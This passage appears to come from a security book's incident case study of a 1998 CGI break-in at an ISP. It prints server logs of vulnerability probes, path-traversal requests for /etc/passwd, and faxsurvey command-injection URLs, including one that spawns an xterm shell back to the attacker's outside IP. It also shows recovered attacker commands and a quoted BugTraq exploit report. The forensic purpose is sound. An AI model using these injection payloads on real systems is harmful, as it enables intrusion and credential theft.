ESY8.VINEYARD.NE.1557 FIN_WAIT_2 tcp 0 0 LOCALHOST.VINEYA.sendm LOCALHOST.VINEYA.1058 ESTABLISHED tcp 0 0 LOCALHOST.VINEYA.1058 LOCALHOST.VINEYA.sendm ESTABLISHED tcp 0 0 APACHE.VINEYARD..smtp m28.boston.juno..54519 ESTABLISHED tcp 0 0 APACHE.VINEYARD..ssh MAC-EWB.VINEYARD.nfs ESTABLISHED tcp 0 328 APACHE.VINEYARD..ssh MAC-EWB.VINEYARD.2048 ESTABLISHED tcp 0 0 VINEYARD.NET.http ASY14.VINEYARD.N.1162 FIN_WAIT_2 tcp 0 0 VINEYARD.NET.http ASY14.VINEYARD.N.1160 FIN_WAIT_2 tcp 0 0 NEXT.VINEYARD.NE.ssh ASY12.VINEYARD.N.1047 ESTABLISHED tcp 0 7300 VINEYARD.NET.pop DSY27.VINEYARD.N.1061 ESTABLISHED tcp 0 0 NEXT.VINEYARD.NE.imap2 ASY12.VINEYARD.N.1041 ESTABLISHED tcp 0 0 VINEYARD.NET.3290 VINEYARD.NET.imap2 CLOSE_WAIT tcp 0 0 VINEYARD.NET.ssh simsong.ne.media.1017 ESTABLISHED tcp 0 0 APACHE.VINEYARD..3098 KRLDB110-06.spli.X11 ESTABLISHED tcp 8760 0 VINEYARD.NET.1022 BACKUP.VINEYARD..ssh ESTABLISHED tcp 0 0 LOCALHOST.VINEYA.4778 *.* LISTEN tcp 0 0 LOCALHOST.VINEYA.domai *.* LISTEN tcp 0 0 NET10.VINEYARD.N.domai *.* LISTEN tcp 0 0 SMTP4.VINEYARD.N.domai *.* LISTEN The ISP concluded that the attacker had used a vulnerability in a CGI script to spawn an xterm back to his remote machine. To test this hypothesis, the ISP did a quick search through its web server logs, shown in Example 22-9. Example 22-9. Searching through the web server's logs% grep -i krldb110-06 /vni/apache/log/access_log: 1krldb110-06.splitrock.net - - [06/Oct/1998:02:53:48 -0400] "GET /cgi-bin/ phf?Qname=me%0als%20-lFa HTTP/1.0" 404 - "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)" "/htdocs/biz/captiva" 2krldb110-06.splitrock.net - - [06/Oct/1998:02:53:50 -0400] "GET /cgi-bin/faxsurvey?ls%20- lFa HTTP/1.0" 200 5469 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)" "/htdocs/biz/ captiva" 3krldb110-06.splitrock.net - - [06/Oct/1998:02:53:52 -0400] "GET /cgi-bin/view-source?../. ./../../../../../../etc/passwd HTTP/1.0" 404 - "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)" "/htdocs/biz/captiva" 4krldb110-06.splitrock.net - - [06/Oct/1998:02:53:53 -0400] "GET /cgi-bin/htmlscript?../.. /../../../../../../etc/passwd HTTP/1.0" 404 - "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)" "/htdocs/biz/captiva" 5krldb110-06.splitrock.net - - [06/Oct/1998:02:53:54 -0400] "GET /cgi-bin/campas?%0als%20- lFa HTTP/1.0" 404 - "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)" "/htdocs/biz/ captiva" 6krldb110-06.splitrock.net - - [06/Oct/1998:02:53:55 -0400] "GET /cgi-bin/handler/useless_ shit;ls%20-lFa|?data=Download HTTP/1.0" 404 - "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)" "/htdocs/biz/captiva" 7krldb110-06.splitrock.net - - [06/Oct/1998:02:53:56 -0400] "GET /cgi-bin/php.cgi?/etc/ passwd HTTP/1.0" 404 - "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)" "/htdocs/biz/ captiva" 8krldb110-06.splitrock.net - - [06/Oct/1998:02:54:30 -0400] "GET /cgi-bin/faxsurvey?ls%20- lFa HTTP/1.1" 200 5516 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)" "/htdocs/biz/ captiva" 9krldb110-06.splitrock.net - - [06/Oct/1998:02:54:44 -0400] "GET /cgi-bin/ faxsurvey?uname%20-a HTTP/1.1" 200 461 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)" "/htdocs/biz/captiva" 10krldb110-06.splitrock.net - - [06/Oct/1998:02:55:03 -0400] "GET /cgi-bin/faxsurvey?id HTTP/1.1" 200 381 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)" "/htdocs/biz/ captiva" 11krldb110-06.splitrock.net - - [06/Oct/1998:02:55:39 -0400] "GET /cgi-bin/ faxsurvey?cat%20/etc/passwd HTTP/1.1" 200 79467 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)" "/htdocs/biz/captiva" 12krldb110-06.splitrock.net - - [06/Oct/1998:02:55:44 -0400] "GET /cgi-bin/ faxsurvey?ls%20-lFa%20/usr/ HTTP/1.1" 200 1701 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)" "/htdocs/biz/captiva" 13krldb110-06.splitrock.net - - [06/Oct/1998:04:31:55 -0400] "GET /cgi-bin/faxsurvey?id HTTP/1.1" 200 381 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)" "/htdocs/web. vineyard.net" 14krldb110-06.splitrock.net - - [06/Oct/1998:04:32:01 -0400] "GET /cgi-bin/faxsurvey?pwd HTTP/1.1" 200 305 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)" "/htdocs/web. vineyard.net" 15krldb110-06.splitrock.net - - [06/Oct/1998:04:32:08 -0400] "GET /cgi-bin/faxsurvey?/bin/ pwd HTTP/1.1" 200 305 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)" "/htdocs/web. vineyard.net" 16krldb110-06.splitrock.net - - [06/Oct/1998:04:32:33 -0400] "GET /cgi-bin/ faxsurvey?ls%20-lFa HTTP/1.1" 200 5516 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)" "/htdocs/web.vineyard.net" 17krldb110-06.splitrock.net - - [06/Oct/1998:04:32:55 -0400] "GET /cgi-bin/ faxsurvey?ls%20-lFa%20../conf/ HTTP/1.1" 200 305 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)" "/htdocs/web.vineyard.net" Notice that the first seven lines each occur within a few seconds of each other. It appears that the attacker is using an automated tool that checks for CGI vulnerabilities. In the next 10 lines the attacker exploits a vulnerability in the faxsurvey script. This was almost certainly done with a different tool; one indication is that the version of the HTTP protocol that the client supports changes from HTTP/1.0 to HTTP/1.1. The web server log file revealed that the full hostname of the attacker was krldb110-06.splitrock.net. Using the Unix host command, this address could be translated into an actual IP address: % host krldb110-06.splitrock.net krldb110-06.splitrock.net has address 209.156.113.121 % By inspecting the log file, it appears that the script /cgi-bin/faxsurvey has a bug that allows the attacker to execute arbitrary commands. (Otherwise, why else would the attacker keep sending URLs calling the same script with different arguments?) If this is true, then the following commands must have been executed by the attacker: ls -lFa ls -lFa uname -a id cat /etc/passwd ls -lFa /usr/ id pwd /bin/pwd ls -lFa ls -lFa ../conf/ It is not clear from the log files how the attacker was able to go from executing these commands to executing the xterm command. But is very clear that the xterm command was executed, as evidenced by the http entry in the output of the w command, the running (xterm) process, and the X11 entry in the netstat command. At this point, the ISP searched for the attacker's hostname in other log files. A suspicious result was found in the messages log file—apparently, the attacker had attempted to exploit a POP or qpopper error, as evidenced in Example 22-10. Example 22-10. The attacker apparently attempted to exploit a bug in the qpopper command% grep -i krldb110-06 * messages:Oct 6 03:38:29 apache popper.bsdos[22312]: @KRLDB110-06.splitrock.net: -ERR POP timeout To preserve the record of the attacker's processes, they were stopped, gcoreed, and sent a hard kill: % kill -STOP 18671 26225 % gcore 18671 /tmp/attack1.core % gcore 26225 /tmp/attack2.core % kill -9 18671 26225 % Following this, a rule was added to the ISP's routers to block access from the attacker's IP addresses. Permissions on the faxsurvey script were changed to 000, pending an investigation. A few days later, the script was removed from the web server. The attacked ISP contacted SplitRock Services, Inc., the ISP that was responsible for the IP address. It was determined that SplitRock operated several modem pools that were provided to another ISP (Prodigy) on a leasing arrangement. SplitRock was asked to preserve its log files so that they could be used in a future legal investigation. By using the Unix strings command over the files attack1.core and attack2.core it was possible to extract significantly more information about the attacker. One group of strings was from the shell history which was, effectively, a list of the commands that the attacker had typed. Example 22-11 shows the attacker's downloading of a "rootkit." The attacker appears to be trying to get a buffer overflow attack to work properly. Example 22-12 shows another group of strings, probably indicating commands typed by the attacker. In this sequence, the attacker appears to be attacking the computer's IMAP server (port 143) with a well-known buffer overflow exploit. If this exploit had worked, the attacker would have gained superuser access. Example 22-11. A list of strings found in the attack1.core file which probably correspond to commands that were typed by the attacker-lFa gcc -o s s.c st2.c ftp 209.156.113.121 cron.c gcc -o s st2.c cxterm.c ./s concole x2.c t .s qpush.c .121 cat t.c qpush.c cat .c ppp.c cat s.c t2.c gc c cron.c ls -lFa cxterm.c ./s -v c2 tcsh ./s p0 x2.c ls -lFa / README cat .s README.debian ls -lFa qpush cat /w qpush.c ls -lFa / qpush.c.old cat .s gf: not found _=.s /tmp $ : not found mfs:28 gcc -o s steal.c /bin/sh ls -lFa *.c Example 22-12. Another list of strings found in the attack2.core file indicating an IMAP attack/bin/sh /bin/sh /bin/sh inetd.conf /etc/inetd.conf t) | telnet 127.1 143 qpush.c cd /etc /usr/bin/gcc cat .s n/gcc which pwd ./cc ls -lFa expr expr $L + 1 done ls -lFa ./cc -10 ./cc The second kind of strings found in the core file corresponded to shell environment variables (Example 22-13). Many of these variables corresponded to variables that would be set by the Apache web server for a process spawned from a CGI script—confirming that the shell was, in fact, the result of a CGI attack. Note that the SCRIPT_FILENAME points to the vulnerability being with the faxsurvey script, and the QUERY_STRING was a request to run an xterm to a remote system. This block confirmed that the CGI script responsible for the intrusion was the faxsurvey script. Example 22-13. A second block of strings found in the core file that likely corresponds to shell environment variablesGATEWAY_INTERFACE=CGI/1.1 REMOTE_HOST=krldb110-06.splitrock.net MACHTYPE=i386-pc-bsdi3.1 HOSTNAME=apache.vineyard.net L=100 SHLVL=1 REMOTE_ADDR=209.156.113.121 QUERY_STRING=/usr/X11R6/bin/xterm%20-display%20209.156.113.121:0.0%20-rv%20-e%20/bin/sh DOCUMENT_ROOT=/htdocs/biz/captiva REMOTE_PORT=4801 HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 4.01; Windows 98) HTTP_ACCEPT=application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */* SCRIPT_FILENAME=/vni/cgi-bin/faxsurvey HTTP_HOST=www.captivacruises.com LOGNAME=http WINDOWID=8388621 _=/bins REQUEST_URI=/cgi-bin/faxsurvey?/usr/X11R6/bin/xterm%20-display%20209.156.113.121:0.0%20- rv%20-e%20/bin/sh SERVER_SOFTWARE=Stronghold/2.2 Apache/1.2.5 C2NetUS/2002 TERM=xterm HTTP_CONNECTION=Keep-Alive PATH=/usr/local/bin:/bin:/usr/bin:/usr/sbin HTTP_ACCEPT_LANGUAGE=en-us DISPLAY=209.156.113.121:0.0 SERVER_PROTOCOL=HTTP/1.1 HTTP_ACCEPT_ENCODING=gzip, deflate SHELL=/bin/tcsh REQUEST_METHOD=GET OSTYPE=bsdi3.1 SERVER_ADMIN=mvol@vineyard.net SERVER_ROOT=/usr/local/apache TERMCAP=xterm|vi|xterm-ic|xterm-vi|xterm with insert character instead of insert mode: : al@:dl@:im=:ei=:mi@:ic=\E[@: :AL=\E[%dL:DC=\E[%dP:DL=\E[ %dM:DO=\E[%dB:IC=\E[%d@:UP=\E[%dA: :al=\E[L:am: :bs:cd=\E[J:ce=\E[K:cl=\E[H\E[2J: cm=\E[%i%d;%dH:co#80: :cs=\E[%i%d;%dr:ct=\E[3k: :dc =\E[P:dl=\E[M: :im=\E[4h:ei=\E[4l:mi: :ho=\E[H: :is=\E[m\E[?7h\E[?1;3;4l\E[4l: : rs=\E[r\E[m\E[2J\E[H\E[?7h\E[?1;3;4;6l\E[4l\E<: :kb =^H:kd=\EOB:ke=\E[?1l\E>: :k1=\E[11~:k2=\E[12~:k3=\E[13~:k4=\E[14~:k5=\E[15~: : k6=\E[16~:k7=\E[17~:k8=\E[18~: :kl=\EOD:km:kn#8:kr=\EOC:ks =\E[?1h\E=:ku=\EOA: :li#24:md=\E[1m:me=\E[m:mr=\E[7m:ms:nd=\E[C:pt: :sc=\E7:rc=\E8: sf=\n:so=\E[7m:se=\E[m:sr=\EM: :te=\E[2J\E[?47l\E8:ti=\E7\ E[?47h: :up=\E[A:us=\E[4m:ue=\E[m:xn: SERVER_PORT=80 SCRIPT_NAME=/cgi-bin/faxsurvey HOSTTYPE=i386 SERVER_NAME=captivacruises.com
After the intrusion, the victim ISP contacted the Boston office of the Federal Bureau of Investigation. The ISP was informed that the Boston office had a damage threshold of $8,000 that needed to be exceeded before an investigation could be opened. As this threshold had not been met, no investigation could take place. While such minimums are understandable, they are unfortunate for two reasons:
As it turns out, the vulnerability in the faxsurvey script had been reported over the BugTraq mailing list nearly three months prior to the attack (see Example 22-14). Either nobody from the ISP had been reading the BugTraq mailing list, or else no one was aware that the faxsurvey script had been installed. Example 22-14. The BugTraq report for the faxsurvey scriptDate: Tue, 4 Aug 1998 07:41:24 -0700 Reply-To: dod@muenster.net From: Tom <dod@MUENSTER.NET> Subject: remote exploit in faxsurvey cgi-script Hi! There exist a bug in the 'faxsurvey' CGI-Script, which allows an attacker to execute any command s/he wants with the permissions of the HTTP-Server. All the attacker has to do is type "http://joepc.linux.elsewhere.org/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd" in his favorite Web-Browser to get a copy of your Password-File. All S.u.S.E. 5.1 and 5.2 Linux Dist. (and I think also older ones) with the HylaFAX package installed are vulnerable to this attack. AFAIK the problem exists in the call of 'eval'. I notified the S.u.S.E. team (suse.de) about that problem. Burchard Steinbild <bs@suse.de> told me, that they have not enough time to fix that bug for their 5.3 Dist., so they decided to just remove the script from the file list. After the break-in, the ISP performed the following cleanup:
The Coroner's Toolkit did not exist at the time of Vineyard.NET's faxsurvey attack. If it had, an additional step that could have been taken would have been the creation of a "mactimes" timeline and a review of every file that had been created, modified, or accessed during the attack. |
|
|